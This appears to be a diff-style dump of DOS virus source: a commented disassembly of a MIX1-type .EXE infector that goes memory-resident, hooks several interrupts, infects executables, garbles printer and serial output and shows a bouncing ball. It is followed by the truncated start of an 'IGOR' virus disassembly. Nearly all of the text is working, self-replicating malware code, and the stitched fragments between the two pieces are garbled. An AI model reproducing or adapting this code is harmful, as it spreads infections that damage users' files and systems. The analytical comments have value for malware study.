; 5. The new INT 9 handler. Disables the Num-Lock key
|
||||
;
|
||||
; 6. The new INT 21 handler. It will look for EXEC calls, and
|
||||
; (sometimes) infect the program being run.
|
||||
;
|
||||
; Parts 1 and 6 are almost identical to the Icelandic-1 version
|
||||
;
|
||||
; This is a fake MCB
|
||||
;
|
||||
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||||
|
||||
VIRUS PROC FAR
|
||||
;
|
||||
; The virus starts by pushing the original start address on the stack,
|
||||
; so it can transfer control there when finished.
|
||||
;
|
||||
LABEL: DEC SP ; This used to be SUB SP,4
|
||||
DEC SP
|
||||
NOP
|
||||
DEC SP
|
||||
DEC SP
|
||||
PUSH BP
|
||||
MOV BP,SP
|
||||
NOP ; added
|
||||
PUSH AX
|
||||
NOP ; added
|
||||
MOV AX,ES
|
||||
;
|
||||
; Put the the original CS on the stack. The ADD AX,data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 05H
|
||||
ORG_CS DW 0010H
|
||||
MOV [BP+4],AX
|
||||
;
|
||||
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 0C7H,46H,02H
|
||||
ORG_IP DW 0000H
|
||||
;
|
||||
; Save all registers that are modified.
|
||||
;
|
||||
PUSH ES
|
||||
PUSH DS
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
;
|
||||
; Check if already installed. Quit if so.
|
||||
;
|
||||
MOV AX,0 ; Was: XOR AX,AX
|
||||
MOV ES,AX
|
||||
CMP ES:[33CH],BYTE PTR 077H
|
||||
JNE L1
|
||||
;
|
||||
; Restore all registers and return to the original program.
|
||||
;
|
||||
EXIT: POP DI
|
||||
POP SI
|
||||
POP CX
|
||||
POP BX
|
||||
POP DS
|
||||
POP ES
|
||||
POP AX
|
||||
POP BP
|
||||
RET
|
||||
;
|
||||
; The virus tries to hide from detection by modifying the memory block it
|
||||
; uses, so it seems to be a block that belongs to the operating system.
|
||||
;
|
||||
; It looks rather weird, but it seems to work.
|
||||
;
|
||||
L1: MOV AH,52H
|
||||
INT 21H
|
||||
MOV AX,ES:[BX-2]
|
||||
MOV ES,AX
|
||||
PUSH ES ; Two totally unnecessary instructions
|
||||
POP AX ; added
|
||||
ADD AX,ES:[0003]
|
||||
INC AX
|
||||
INC AX
|
||||
MOV CS:[0001],AX
|
||||
;
|
||||
; Next, the virus modifies the memory block of the infected program.
|
||||
; It is made smaller, and no longer the last block.
|
||||
;
|
||||
MOV BX,DS
|
||||
DEC BX
|
||||
PUSH BX ; Unnecessary addition
|
||||
POP AX
|
||||
MOV DS,BX
|
||||
MOV AL,'M'
|
||||
MOV DS:[0000],AL
|
||||
MOV AX,DS:[0003]
|
||||
SUB AX,VIRSIZ
|
||||
MOV DS:[0003],AX
|
||||
ADD BX,AX
|
||||
INC BX
|
||||
;
|
||||
; Then the virus moves itself to the new block.
|
||||
;
|
||||
PUSH BX ; Was: MOV ES,BX
|
||||
POP ES
|
||||
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
|
||||
MOV DI,SI
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV CX,652H
|
||||
CLD
|
||||
REP MOVSB
|
||||
;
|
||||
; The virus then transfers control to the new copy of itself.
|
||||
;
|
||||
PUSH ES
|
||||
MOV AX,OFFSET L3
|
||||
PUSH AX
|
||||
RET
|
||||
;
|
||||
; Zero some variables
|
||||
;
|
||||
L3: MOV BYTE PTR CS:[MIN60],0
|
||||
NOP
|
||||
MOV BYTE PTR CS:[MIN50],0
|
||||
NOP
|
||||
MOV WORD PTR CS:[TIMER],0
|
||||
;
|
||||
; The most nutty way to zero ES register that I have ever seen:
|
||||
;
|
||||
MOV BX,0FFFFH
|
||||
ADD BX,3F3FH
|
||||
MOV CL,0AH
|
||||
SHL BX,CL
|
||||
AND BX,CS:[CONST0]
|
||||
MOV AX,BX
|
||||
MOV ES,AX
|
||||
;
|
||||
; Set flag to confirm installation
|
||||
;
|
||||
MOV BYTE PTR ES:[33CH],77H
|
||||
;
|
||||
; Hook interrupt 21:
|
||||
;
|
||||
MOV AX,ES:[0084H]
|
||||
MOV CS:[OLD21],AX
|
||||
MOV AX,ES:[0086H]
|
||||
MOV CS:[OLD21+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0086H],AX
|
||||
MOV AX,OFFSET NEW21
|
||||
MOV ES:[0084H],AX
|
||||
;
|
||||
; Hook interrupt 17:
|
||||
;
|
||||
MOV AX,ES:[005CH]
|
||||
MOV CS:[OLD17],AX
|
||||
MOV AX,ES:[005EH]
|
||||
MOV CS:[OLD17+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[005EH],AX
|
||||
MOV AX,OFFSET NEW17
|
||||
MOV ES:[005CH],AX
|
||||
;
|
||||
; Hook interrupt 14:
|
||||
;
|
||||
MOV AX,ES:[0050H]
|
||||
MOV CS:[OLD17],AX
|
||||
MOV AX,ES:[0052H]
|
||||
MOV CS:[OLD14+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0052H],AX
|
||||
MOV AX,OFFSET NEW14
|
||||
MOV ES:[0050H],AX
|
||||
;
|
||||
;
|
||||
;
|
||||
CMP WORD PTR CS:[NOINF],5
|
||||
JG HOOK9
|
||||
JMP EXIT
|
||||
;
|
||||
; Hook interrupt 9
|
||||
;
|
||||
HOOK9: MOV AX,ES:[0024H]
|
||||
MOV CS:[OLD9],AX
|
||||
MOV AX,ES:[0026H]
|
||||
MOV CS:[OLD9+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0026H],AX
|
||||
MOV AX,OFFSET NEW9
|
||||
MOV ES:[0024H],AX
|
||||
;
|
||||
; Hook interrupt 8
|
||||
;
|
||||
MOV AX,ES:[0020H]
|
||||
MOV CS:[OLD8],AX
|
||||
MOV AX,ES:[0022H]
|
||||
MOV CS:[OLD8+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0022H],AX
|
||||
MOV AX,OFFSET NEW8
|
||||
MOV ES:[0020H],AX
|
||||
JMP EXIT
|
||||
;
|
||||
; Video processing
|
||||
;
|
||||
VID: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,0FH
|
||||
INT 10H
|
||||
MOV AH,6
|
||||
MUL AH
|
||||
MOV BX,AX
|
||||
MOV AX,DS:[BX+OFFSET VIDEOT]
|
||||
MOV CX,DS:[BX+OFFSET VIDEOT+2]
|
||||
MOV DX,DS:[BX+OFFSET VIDEOT+4]
|
||||
MOV ES,DX
|
||||
SHR CX,1
|
||||
MOV DI,1
|
||||
CMP AX,0
|
||||
JNZ V1
|
||||
V0: INC WORD PTR ES:[DI]
|
||||
INC DI
|
||||
INC DI
|
||||
LOOP V0
|
||||
JMP SHORT V2
|
||||
NOP
|
||||
V1: NOT WORD PTR ES:[DI]
|
||||
INC DI
|
||||
INC DI
|
||||
LOOP V1
|
||||
V2: POP ES
|
||||
POP DS
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
;
|
||||
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
|
||||
; This routine does not become active until 50 minutes after
|
||||
; the execution of an infected program.
|
||||
;
|
||||
NEW9: PUSH AX
|
||||
PUSH ES
|
||||
CMP BYTE PTR CS:[MIN50],1
|
||||
JNZ RETX1
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; was xxxxxxxx
|
||||
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
|
||||
OR BYTE PTR ES:[417H],20H ; x01xxxxx
|
||||
TEST BYTE PTR ES:[417H],0CH
|
||||
JZ RETX1
|
||||
IN AL,60
|
||||
CMP AL,53
|
||||
JNZ RETX1
|
||||
AND BYTE PTR ES:[417H],0F7H
|
||||
;
|
||||
; This seems to be an error - the virus uses a FAR call, which will
|
||||
; probably cause the computer to crash.
|
||||
;
|
||||
DB 9AH
|
||||
DW OFFSET VID,171CH
|
||||
;
|
||||
; This needs more checking.
|
||||
;
|
||||
|
||||
RETX1: POP ES
|
||||
POP AX
|
||||
DB 0EAH
|
||||
OLD9 DW 0,0
|
||||
;
|
||||
; New INT 14 routine - garble all outgoing characters
|
||||
;
|
||||
NEW14: CMP AH,1
|
||||
JZ S1
|
||||
DO14: DB 0EAH
|
||||
OLD14 DW 0,0
|
||||
S1: PUSH BX
|
||||
XOR BX,BX
|
||||
MOV BL,AL
|
||||
ADD BX,OFFSET ERRTAB
|
||||
MOV AL,CS:[BX] ; use old character as index into table
|
||||
POP BX
|
||||
JMP DO14
|
||||
;
|
||||
; New INT 8 routine
|
||||
;
|
||||
NEW8: PUSH DX
|
||||
PUSH CX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
|
||||
JZ TT0 ; No need to check any more
|
||||
INC WORD PTR CS:[TIMER] ; else increment timer
|
||||
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
|
||||
JZ TT1
|
||||
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
|
||||
JZ TT2
|
||||
JMP TXEX
|
||||
;
|
||||
; 50 minutes after an infected program is run the flag is set.
|
||||
;
|
||||
TT2: MOV BYTE PTR CS:[MIN50],1
|
||||
NOP
|
||||
JMP TXEX
|
||||
;
|
||||
; 60 minutes after an infected program is run we start the ball bouncing.
|
||||
;
|
||||
TT1: MOV BYTE PTR CS:[MIN60],1
|
||||
;
|
||||
; Get current cursor position and save it
|
||||
;
|
||||
MOV AH,3
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[SCRLINE],DH
|
||||
MOV CS:[SCRCOL],DL
|
||||
;
|
||||
; Set cursor position
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Check what is there and store it
|
||||
;
|
||||
MOV AH,8
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[ONSCREEN],AL
|
||||
;
|
||||
; Set cursor position back as it was before
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[SCRLINE]
|
||||
MOV DL,CS:[SCRCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Get current video mode and store it
|
||||
;
|
||||
MOV AH,0FH
|
||||
INT 10H
|
||||
MOV CS:[VMODE],AH
|
||||
;
|
||||
; Exit interrupt routine
|
||||
;
|
||||
JMP TXEX
|
||||
;
|
||||
; Every time an INT 8 occurs, after the 60 min. have passed, we
|
||||
; end up here:
|
||||
;
|
||||
; First get current cursor position
|
||||
;
|
||||
TT0: MOV AH,3
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[SCRLINE],DH
|
||||
MOV CS:[SCRCOL],DL
|
||||
;
|
||||
; Then set it to last position of ball.
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Write previous character there ...
|
||||
;
|
||||
MOV AH,0EH
|
||||
MOV AL,CS:[ONSCREEN]
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
;
|
||||
;
|
||||
CMP BYTE PTR CS:[UPDOWN],0
|
||||
JZ T2
|
||||
;
|
||||
;
|
||||
DEC BYTE PTR CS:[MYLINE]
|
||||
JMP SHORT T3
|
||||
NOP
|
||||
T2: INC BYTE PTR CS:[MYLINE]
|
||||
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
|
||||
JZ T4
|
||||
DEC BYTE PTR CS:[MYCOL]
|
||||
JMP SHORT T5
|
||||
NOP
|
||||
T4: INC BYTE PTR CS:[MYCOL]
|
||||
;
|
||||
; Get current video mode
|
||||
;
|
||||
T5: MOV AH,0FH
|
||||
INT 10H
|
||||
MOV CS:[VMODE],AH
|
||||
MOV AL,CS:[MAXLIN]
|
||||
CMP CS:[MYLINE],AL ; bottom of screen ?
|
||||
JNZ T6
|
||||
;
|
||||
; Reached bottom - now go upwards.
|
||||
;
|
||||
NOT BYTE PTR CS:[UPDOWN]
|
||||
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
|
||||
JNZ T7
|
||||
;
|
||||
; Reached top - now go downwards
|
||||
;
|
||||
NOT BYTE PTR CS:[UPDOWN]
|
||||
T7: MOV AL,CS:[VMODE]
|
||||
CMP CS:[MYCOL],AL
|
||||
JNZ T8
|
||||
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||
T8: CMP BYTE PTR CS:[MYCOL],0
|
||||
JNZ T9
|
||||
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||
;
|
||||
; Set cursor position to new position of ball
|
||||
;
|
||||
T9: MOV AH,02
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Get what is there and store it.
|
||||
;
|
||||
MOV AH,8
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[ONSCREEN],AL
|
||||
;
|
||||
; Write character (lower case o)
|
||||
;
|
||||
MOV AH,0EH
|
||||
MOV AL,6FH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
;
|
||||
; And restore cursor position
|
||||
;
|
||||
MOV AH,02
|
||||
MOV BH,0
|
||||
MOV DH,CS:[SCRLINE]
|
||||
MOV DL,CS:[SCRCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Restore registers and quit
|
||||
;
|
||||
TXEX: POP AX
|
||||
POP BX
|
||||
POP CX
|
||||
POP DX
|
||||
DB 0EAH
|
||||
OLD8 DW 0,0
|
||||
;
|
||||
; New INT 17 routine. Garble all outgoing characters.
|
||||
;
|
||||
NEW17: CMP AH,0
|
||||
JZ P0
|
||||
DO17: DB 0EAH
|
||||
OLD17 DW 0,0
|
||||
P0: PUSH BX
|
||||
XOR BX,BX
|
||||
MOV BL,AL
|
||||
ADD BX,OFFSET ERRTAB
|
||||
MOV AL,CS:[BX]
|
||||
POP BX
|
||||
JMP DO17
|
||||
;
|
||||
; This is the INT 21 replacement. It only does something in the case
|
||||
; of an EXEC call.
|
||||
;
|
||||
NEW21: CMP AH,4BH
|
||||
JE L5
|
||||
DO21: DB 0EAH
|
||||
OLD21 DW 0,0
|
||||
;
|
||||
; The code to only infect every tenth program has been removed
|
||||
;
|
||||
L5: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DS
|
||||
;
|
||||
; Search for the file name extension ...
|
||||
;
|
||||
MOV BX,DX
|
||||
L6: INC BX
|
||||
CMP BYTE PTR [BX],'.'
|
||||
JE L8
|
||||
CMP BYTE PTR [BX],0
|
||||
JNE L6
|
||||
;
|
||||
; ... and quit unless it starts with "EX".
|
||||
;
|
||||
L7: POP DS
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
JMP DO21
|
||||
L8: INC BX
|
||||
CMP WORD PTR [BX],5845H
|
||||
JNE L7
|
||||
;
|
||||
; When an .EXE file is found, the virus starts by turning off
|
||||
; the read-only attribute. The read-only attribute is not restored
|
||||
; when the file has been infected.
|
||||
;
|
||||
MOV AX,4300H ; Get attribute
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV AX,4301H ; Set attribute
|
||||
AND CX,0FEH
|
||||
INT 21H
|
||||
JC L7
|
||||
;
|
||||
; Next, the file is examined to see if it is already infected.
|
||||
; The signature (4418 5F19) is stored in the last two words.
|
||||
;
|
||||
MOV AX,3D02H ; Open / write access
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV BX,AX ; file handle in BX
|
||||
;
|
||||
; This part of the code is new: Get date of file.
|
||||
;
|
||||
MOV AX,5700H
|
||||
INT 21H
|
||||
JC L9
|
||||
MOV CS:[DATE1],DX
|
||||
MOV CS:[DATE2],CX
|
||||
;
|
||||
PUSH CS ; now DS is no longer needed
|
||||
POP DS
|
||||
;
|
||||
; The header of the file is read in at [ID+8]. The virus then
|
||||
; modifies itself, according to the information stored in the
|
||||
; header. (The original CS and IP addressed are stored).
|
||||
;
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
MOV AH,3FH
|
||||
INT 21H
|
||||
JC L9
|
||||
MOV AX,DS:ID[1CH]
|
||||
MOV DS:[ORG_IP],AX
|
||||
MOV AX,DS:ID[1EH]
|
||||
ADD AX,10H
|
||||
MOV DS:[ORG_CS],AX
|
||||
;
|
||||
; Next the read/write pointer is moved to the end of the file-4,
|
||||
; and the last 4 bytes read. They are compared to the signature,
|
||||
; and if equal nothing happens.
|
||||
;
|
||||
MOV AX,4202H
|
||||
MOV CX,-1
|
||||
MOV DX,-4
|
||||
INT 21H
|
||||
JC L9
|
||||
ADD AX,4
|
||||
MOV DS:[LEN_LO],AX
|
||||
JNC L8A
|
||||
INC DX
|
||||
L8A: MOV DS:[LEN_HI],DX
|
||||
;
|
||||
; This part of the virus is new - check if it is below minimum length
|
||||
;
|
||||
CMP DX,0
|
||||
JNE L8B
|
||||
MOV CL,13
|
||||
SHR AX,CL
|
||||
CMP AX,0
|
||||
JG L8B
|
||||
JMP SHORT L9
|
||||
NOP
|
||||
L8B: MOV AH,3FH
|
||||
MOV CX,4
|
||||
MOV DX,OFFSET ID+4
|
||||
INT 21H
|
||||
JNC L11
|
||||
L9: MOV AH,3EH
|
||||
INT 21H
|
||||
L10: JMP L7
|
||||
;
|
||||
; Compare to 4418,5F19
|
||||
;
|
||||
L11: MOV SI,OFFSET ID+4
|
||||
MOV AX,[SI]
|
||||
CMP AX,494DH
|
||||
JNE L12
|
||||
MOV AX,[SI+2]
|
||||
CMP AX,3158H
|
||||
JE L9
|
||||
;
|
||||
; The file is not infected, so the next thing the virus does is
|
||||
; infecting it. First it is padded so the length becomes a multiple
|
||||
; of 16 bytes. Tis is probably done so the virus code can start at a
|
||||
; paragraph boundary.
|
||||
;
|
||||
L12: MOV AX,DS:[LEN_LO]
|
||||
AND AX,0FH
|
||||
JZ L13
|
||||
MOV CX,16
|
||||
SUB CX,AX
|
||||
ADD DS:[LEN_LO],CX
|
||||
JNC L12A
|
||||
INC DS:[LEN_HI]
|
||||
L12A: MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the main body of the virus is written to the end.
|
||||
;
|
||||
L13: MOV DX,0 ; Was: XOR DX,DX
|
||||
MOV CX,OFFSET ID + 4
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the .EXE file header is modified:
|
||||
;
|
||||
JMP SHORT F0 ; some unnecessary instructions
|
||||
NOP
|
||||
; First modify initial IP
|
||||
;
|
||||
F0: MOV AX,OFFSET LABEL
|
||||
MOV DS:ID[1CH],AX
|
||||
;
|
||||
; Modify starting CS = Virus CS. It is computed as:
|
||||
;
|
||||
; (Original length of file+padding)/16 - Start of load module
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
MOV CL,CS:[CONST1] ; Modified a bit
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SUB AX,DS:ID[10H]
|
||||
MOV DS:ID[1EH],AX
|
||||
;
|
||||
; Modify length mod 512
|
||||
;
|
||||
ADD DS:[LEN_LO],OFFSET ID+4
|
||||
JNC L14
|
||||
INC DS:[LEN_HI]
|
||||
L14: MOV AX,DS:[LEN_LO]
|
||||
AND AX,511
|
||||
MOV DS:ID[0AH],AX
|
||||
;
|
||||
; Modify number of blocks used
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
ADD AX,511
|
||||
JNC L14A
|
||||
INC DX
|
||||
L14A: MOV AL,AH
|
||||
MOV AH,DL
|
||||
SHR AX,1
|
||||
MOV DS:ID[0CH],AX
|
||||
;
|
||||
; Finally the modified header is written back to the start of the
|
||||
; file.
|
||||
;
|
||||
QQQ: MOV AX,4200H
|
||||
MOV CX,0 ; was XOR CX,CX
|
||||
AND DX,CS:[CONST0] ; was XOR DX,DX
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
MOV AH,40H
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
INT 21H
|
||||
;
|
||||
; This part is new: Restore old date.
|
||||
;
|
||||
MOV DX,CS:[DATE1]
|
||||
MOV CX,CS:[DATE2]
|
||||
MOV AX,5701H
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
INC WORD PTR CS:[NOINF]
|
||||
;
|
||||
; Infection is finished - close the file and execute it
|
||||
;
|
||||
ENDIT: JMP L9
|
||||
;
|
||||
;
|
||||
DW 0
|
||||
|
||||
VIDEOT: DW 0000H, 07D0H, 0B800H
|
||||
DW 0000H, 07D0H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B000H
|
||||
DW 0001H, 3E80H, 0B000H
|
||||
DW 0001H, 7D00H, 0B000H
|
||||
DW 0001H, 7D00H, 0B000H
|
||||
DW 0002H, 0000H, 0000H
|
||||
DW 0002H, 0000H, 0000H
|
||||
DW 0001H, 7D00H, 0A000H
|
||||
DW 0001H, 0FA00H, 0A000H
|
||||
DW 0001H, 6D60H, 0A000H
|
||||
DW 0002H, 0000H. 0000H
|
||||
|
||||
DW 0
|
||||
|
||||
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
|
||||
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
|
||||
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
|
||||
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
|
||||
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
|
||||
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
|
||||
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
|
||||
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
|
||||
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
|
||||
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
|
||||
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
|
||||
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
|
||||
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
|
||||
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
|
||||
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
|
||||
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
|
||||
|
||||
CONST1 DB 1 ; Just the constant 1
|
||||
CONST0 DW 0 ; The label says it all
|
||||
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
|
||||
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
|
||||
VMODE DB 0 ; Video mode
|
||||
MAXLIN DB 24
|
||||
MYCOL DB 0 ; Position of ball on screen
|
||||
MYLINE DB 0 ; ditto.
|
||||
ONSCREEN DB ? ; Previous character on the screen
|
||||
UPDOWN DB 0 ; Direction of ball (up or down)
|
||||
LEFTRIGHT DB 0 ; Direction (left or right)
|
||||
SCRCOL DB ?
|
||||
SCRLINE DB ?
|
||||
DATE1 DW ? ; Date of file
|
||||
DATE2 DW ? ; ditto.
|
||||
TIMER DW 0 ; Number of timer (INT 8) ticks
|
||||
LEN_LO DW ?
|
||||
LEN_HI DW ?
|
||||
NOINF DW 0 ; Number of infections
|
||||
ID LABEL WORD
|
||||
DB "MIX1" ; The signature of the virus.
|
||||
;
|
||||
; A buffer, used for data from the file.
|
||||
;
|
||||
|
||||
VIRUS ENDP
|
||||
CODE ENDS
|
||||
|
||||
END LABEL
|
||||
of the
|
||||
@@ -0,0 +1,536 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ IGOR ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 12-Jul-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ (c) 1992 by Igor Ratzkopf - All Rights Reserved July R ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 16h
|
||||
data_2e equ 469h ;*
|
||||
data_3e equ 103h ;*
|
||||
data_4e equ 1 ;*
|
||||
data_5e equ 3 ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
igor proc far
|
||||
|
||||
start::
|
||||
jmp short $+3 ; delay for I/O
|
||||
nop
|
||||
call sub_1
|
||||
|
||||
igor endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
pop bp
|
||||
sub bp,106h
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
mov ax,7BCDh
|
||||
int 21h ; ??INT Non-standard interrupt
|
||||
cmp bx,7BCDh
|
||||
je loc_4 ; Jump if equal
|
||||
xor bx,bx ; Zero register
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,es
|
||||
mov ax,3509h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov word ptr cs:data_11+2[bp],es
|
||||
mov cs:data_11[bp],bx
|
||||
mov ax,3521h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov word ptr cs:data_9+2[bp],es
|
||||
mov cs:data_9[bp],bx
|
||||
dec cx
|
||||
mov es,cx
|
||||
mov bx,es:data_5e
|
||||
mov dx,3C3h
|
||||
mov cl,4
|
||||
shr dx,cl ; Shift w/zeros fill
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4Ah
|
||||
int 21h ; DOS Services ah=function 4Ah
|
||||
; change memory allocation
|
||||
; bx=bytes/16, es=mem segment
|
||||
jc loc_4 ; Jump if carry Set
|
||||
mov ah,48h ; 'H'
|
||||
dec dx
|
||||
mov bx,dx
|
||||
int 21h ; DOS Services ah=function 48h
|
||||
; allocate memory, bx=bytes/16
|
||||
jc loc_4 ; Jump if carry Set
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8
|
||||
mov es:data_4e,cx
|
||||
sub ax,0Fh
|
||||
mov di,data_3e
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,103h
|
||||
mov cx,3C3h
|
||||
cld ; Clear direction
|
||||
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
||||
mov ax,2521h
|
||||
;* mov dx,offset loc_3 ;*
|
||||
db 0BAh, 8Fh, 02h
|
||||
push es
|
||||
pop ds
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
mov ax,2509h
|
||||
